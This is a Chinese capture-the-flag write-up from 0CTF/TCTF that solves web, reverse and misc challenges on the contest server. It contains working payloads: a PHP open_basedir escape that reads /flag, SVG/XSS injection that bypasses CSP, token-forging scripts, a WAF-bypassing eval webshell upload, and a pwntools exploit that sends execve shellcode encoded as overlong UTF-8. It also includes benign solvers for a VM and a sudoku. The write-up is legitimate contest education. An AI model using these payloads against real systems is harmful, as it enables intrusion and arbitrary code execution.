TCTF/0CTF-Aurora-WP

Web

easyphp

非预期

1
mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/flag.so"));

image.png

WeChat Generator

原题: xss打源码

输入[aa”/><image xlink:href=”text:/app/app.py” height=’1600px’ width=’1600px’/><img id=”]

得到源码http://pwnable.org:5000/image/lOUAHG/png

image.png

http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws

接下来是绕csp

image.png

image.png

image.png

按照svg的格式,用xlink:href引入js,生成链接

[aa"/><script xlink:href="http://pwnable.org:5000/image/cUOtoA/png?callback=a"></script><img id="]

生产/image/lGsWGw/svg,扔个admin即可

image.png

lottery

拖出来数据发现enc里面跟info数据有规律,对enc base64解码,发现如果是相同的金额的话,最后几块的hex是相同的,但是如果调换lottery id,会发现userid有一个字节会变换,于是猜测如果是uid开头的一个字节是一样的话,那么可以他人的lottery id可以伪造成另外一个uid的可兑换的enc,下面是脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注册脚本
import requests
import random
import string
while True:
flag = ''
url ="http://pwnable.org:2333/user/register"
data= {
"username":''.join(random.sample(string.ascii_letters + string.digits, 10)),
"password":"asdasd"
}
res = requests.post(url,data=data)
# print(res.content)
print(res.content[41:43])
if(res.content[41:43]==b'e6'):
print(data)
exit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#兑换脚本
from binascii import *
from base64 import *
import requests

while True:
s = b""
for i in range(8):
s+=input().encode()
print(b64encode(unhexlify(s)).replace(b"/", b"%2F").replace(b"+", b"%2B").replace(b"=", b"%3D").decode())
a = b64encode(unhexlify(s)).decode()
url ="http://pwnable.org:2333/lottery/info"
header = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0",
"Referer":"http://pwnable.org:2333/lottery.html",
"X-Requested-With": "XMLHttpRequest"
}
data ={
"enc":a
}
res = requests.post(url,data=data,headers=header)
print(res.content)
url2 = "http://pwnable.org:2333/lottery/charge"
data2 = {
"user":"e6a60199-5a1a-4cf0-833f-578191e5bdc9",
"coin":"5",
"enc":a
}
res2 = requests.post(url2,data=data2)
print(res2.content)
1
2
3
4
5
6
7
#转换脚本
from binascii import *
from base64 import *
s = input()
t = b64decode(s).hex()
for i in range(0, len(t), 32):
print(t[i:i+32])

image.png

Re

flash

是个mips设备的bios。启动时添加调试参数可以进行调试

1
qemu-system-mips -M mips -bios ./flash -nographic -m 16M -monitor /dev/null 2>/dev/null -S -gdb tcp::25000

gdb中要设定架构和端序

1
2
3
set architecture mips
set endian big
target remote localhost:25000

似乎通过异常处理控制了流程,具体怎么实现的不太明白,瞎调之后发现整个流程都在维护80003D20开始的结构体。注意到8000083C获取了80003D2C指向的内容,获取一个(short)类型后根据数值对应80002690这里数组中的一个元素。多调试几次发现是个虚拟机,80002690是每一个handle,opcode在80003D40。通过调试观察每一个handle的行为,还原出算法。整个算法比较简单。

1
2
3
4
5
6
7
8
9
from Crypto.Util.number import inverse
from struct import pack
flag = b""
t = inverse(0x11, 0xb248)
res = [
0x72A9, 0x097E, 0x5560, 0x4CA1, 0x0037, 0xAA71, 0x122C, 0x4536, 0x11E8, 0x1247, 0x76C7, 0x096D, 0x122C, 0x87CB, 0x09E4]
for i in res[::-1]:
flag+=pack(">H",(t * i) % 0xb248)
print(flag)

babymips

nanomips的elf,官网上找toolchain,工具都很齐全。objdump+gdb对着手册看就行了。是个数独,更换了小九宫格的位置。网上抄个脚本就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from copy import deepcopy
tbl = [
[0x00, 0x01, 0x02, 0x03, 0x0a, 0x0c, 0x0d, 0x0e, 0x13],
[0x04, 0x05, 0x06, 0x0f, 0x18, 0x19, 0x21, 0x2a, 0x33],
[0x07, 0x08, 0x10, 0x11, 0x1a, 0x22, 0x23, 0x2b, 0x34],
[0x09, 0x12, 0x1b, 0x24, 0x2d, 0x36, 0x37, 0x3f, 0x48],
[0x0b, 0x14, 0x15, 0x1c, 0x1d, 0x1e, 0x25, 0x2e, 0x27],
[0x16, 0x17, 0x1f, 0x20, 0x28, 0x31, 0x3a, 0x42, 0x43],
[0x26, 0x2f, 0x30, 0x38, 0x39, 0x40, 0x41, 0x49, 0x4a],
[0x29, 0x32, 0x3b, 0x3c, 0x3d, 0x44, 0x4b, 0x4c, 0x4d],
[0x2c, 0x35, 0x3e, 0x45, 0x46, 0x47, 0x4e, 0x4f, 0x50]
]
char = 'zxcasdqwe'
class Suduko(object):

def __init__(self, s):
self.s = s

def check_all(self, i, j, value):
#检测s[i][j]=value时,是否满足数独约束
return self.check_row(i, j, value) and self.check_column(i, j, value) and self.check_small_sudoku(i, j, value)

def check_row(self, i, j, value):
#检测s[i][j]=value是否满足 行中不允许重复数字
return value not in self.s[i]

def check_column(self, i, j, value):
#检测s[i][j]=value是否满足 列中不允许重复数字
column = [self.s[v][j] for v in range(9)]
return value not in column

def check_small_sudoku(self, i, j, value):
global tbl
small_sudoku = []
for v in tbl:
if i*9+j in v:
for u in v:
small_sudoku.append(self.s[u//9][u%9])
break
#检测s[i][j]=value是否满足 小九宫格不允许重复数字
return value not in small_sudoku

def recursion_search(self):


#回溯求解,如果i,j都大于等于8,表示求解OK
i,j = self.start_point()
if i >=8 and j >=8 and self.s[8][8]!='0':
return True

for value in char:
if self.check_all(i, j, value):

self.s[i][j] = value #如果s[i][j]满足约束,则令s[i][j]=value
if not self.recursion_search():
self.s[i][j] = '0' #如果后面的递归搜索不满足要求,令s[i][j] = 0
else:
return True
return False #如果该点遍历1-9都不符合要求,则表示上游选值不当,回溯

def start_point(self):
for i in range(9):
for j in range(9):
if self.s[i][j]=='0':
return i,j
return i,j


if '__main__' == __name__:

s = [['0','0','w','0','0','0','s','0','0'],
['0','0','0','d','0','0','w','0','0'],
['d','0','0','0','0','0','a','0','0'],
['0','e','0','w','0','q','0','a','0'],
['e','0','0','0','0','0','0','0','0'],
['a','0','0','z','d','0','0','s','w'],
['q','0','0','0','0','w','0','0','s'],
['x','0','d','0','0','0','0','0','z'],
['w','0','0','0','0','0','0','d','x']]
ss = deepcopy(s)
S = Suduko(s)
print(S.recursion_search())
tmp = S.s
flag = ""
for i in range(9):
for j in range(9):
if ss[i][j] == '0':
flag+=tmp[i][j]
print(flag)
for i in range(9):
print(S.s[i])

Misc

Cloud Computing

熟悉的代码,熟悉的操作,直接一把梭绕waf。

1
http://pwnable.org:47780/?action=upload&data[0]=%3C?php%0A&data[1]=var_dump(eval($_GET[1]));&1=print_r(%27sad%27);

最后也是一把梭

1
chdir("sandbox/660bef445e619cf44695fec04f93e4f7ff60e252");mkdir('decadefirst');chdir('decadefirst');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/flag"));

读到一个文件,脱下来是个文件系统,提取出一张图是flag。

image.png

eemoji

应该是个pwn题。输入按utf08编码成了unicode32。三个功能

🍺是mmap rwx的内存

🐮复制一串辣屎真滴牛啤和code,打印这一段。

🐴自己可以输入130个Unicode32字符,也就是130*4=520个字节,然后256-512字节覆盖为’A’,然后从514开始的内容被覆盖成了打印的code。这样我们可以控制0-256字节和512-514字节。然后会跳转到512的位置开始执行code。

经过调试和观察,发现r11刚好存放了+4的地址,且code最后会ret,所以我们只需要写push r11,就会跳转到+4的地方执行我们的shellcode,push r11刚好是2字节。

接下来是编码问题。根据现行的utf8标准,只能解码成最多0x10FFFF的字符。

(注意:不论是Unicode (Table 3.7) [12], 还是ISO 10646 (10.2 UTF-8) [13], 目前都只规定了最高码位是0x10FFFF的字符的编码,下表中表示大于0x10FFFF的UTF-8编码是不符合标准的。)

找了下资料其实unicode可以到0x7fffffff,编码后用6个字节保存。

码点起值 码点终值 Byte 1 Byte 2 Byte 3 Byte 4 Byte 5 Byte 6
7 U+0000 U+007F 1 0xxxxxxx
11 U+0080 U+07FF 2 110xxxxx 10xxxxxx
16 U+0800 U+FFFF 3 1110xxxx 10xxxxxx 10xxxxxx
21 U+10000 U+1FFFFF 4 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
26 U+200000 U+3FFFFFF 5 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
31 U+4000000 U+7FFFFFFF 6 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

试了一下发现U+7FFFFFFF可以解码,这样就可以随便写shellcode了(否则只能写类似0x0001xxxx这样的shellcode)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from Crypto.Util.number import bytes_to_long, long_to_bytes
from struct import unpack, pack
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-v']
p = process("./eeemoji")
p = remote("pwnable.org", "31322")
#gdb.attach(p, "b *0x0000555555554C84\nb *0x0000555555554BF6")
print(p.recvuntil(b"\xf0\x9f\x8d\xba\x3a\x20\xf0\x9f\x90\xae\xf0\x9f\x8d\xba\x0a").decode())
p.sendline("🍺".encode())
print(p.recvuntil(b"\xf0\x9f\x8d\xba\x3a\x20\xf0\x9f\x90\xae\xf0\x9f\x8d\xba\x0a").decode())
p.sendline("🐮".encode())
print(p.recvuntil(b"\xf0\x9f\x8d\xba\x3a\x20\xf0\x9f\x90\xae\xf0\x9f\x8d\xba\x0a").decode())
p.sendline("🐴".encode())
shell = b"\x6a\x42\x90\x58\xfe\xc4\x90\x48\x99\x52\x90\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
# pause()
print(len(shell))
def encode(s):
res = b""
if len(s) == 4:
i = 0b111111001000000010000000100000001000000010000000
t = unpack("<I",s)[0]
i |= ((t >> 30) & 1) << 40
i |= ((t >> 24) & 0b111111) << 32
i |= ((t >> 18) & 0b111111) << 24
i |= ((t >> 12) & 0b111111) << 16
i |= ((t >> 6) & 0b111111) << 8
i |= ((t >> 0) & 0b111111) << 0
return long_to_bytes(i)

payload = b"a"
for i in range(0, len(shell), 4):
payload += encode(shell[i:i+4])
payload += b"a" * 119 + b"\xe5\x8d\x81" # push r11
p.sendline(payload)
p.interactive()

END

代表校队第一次打进了TCTF决赛,也算是圆了19年的小小遗憾。

image.png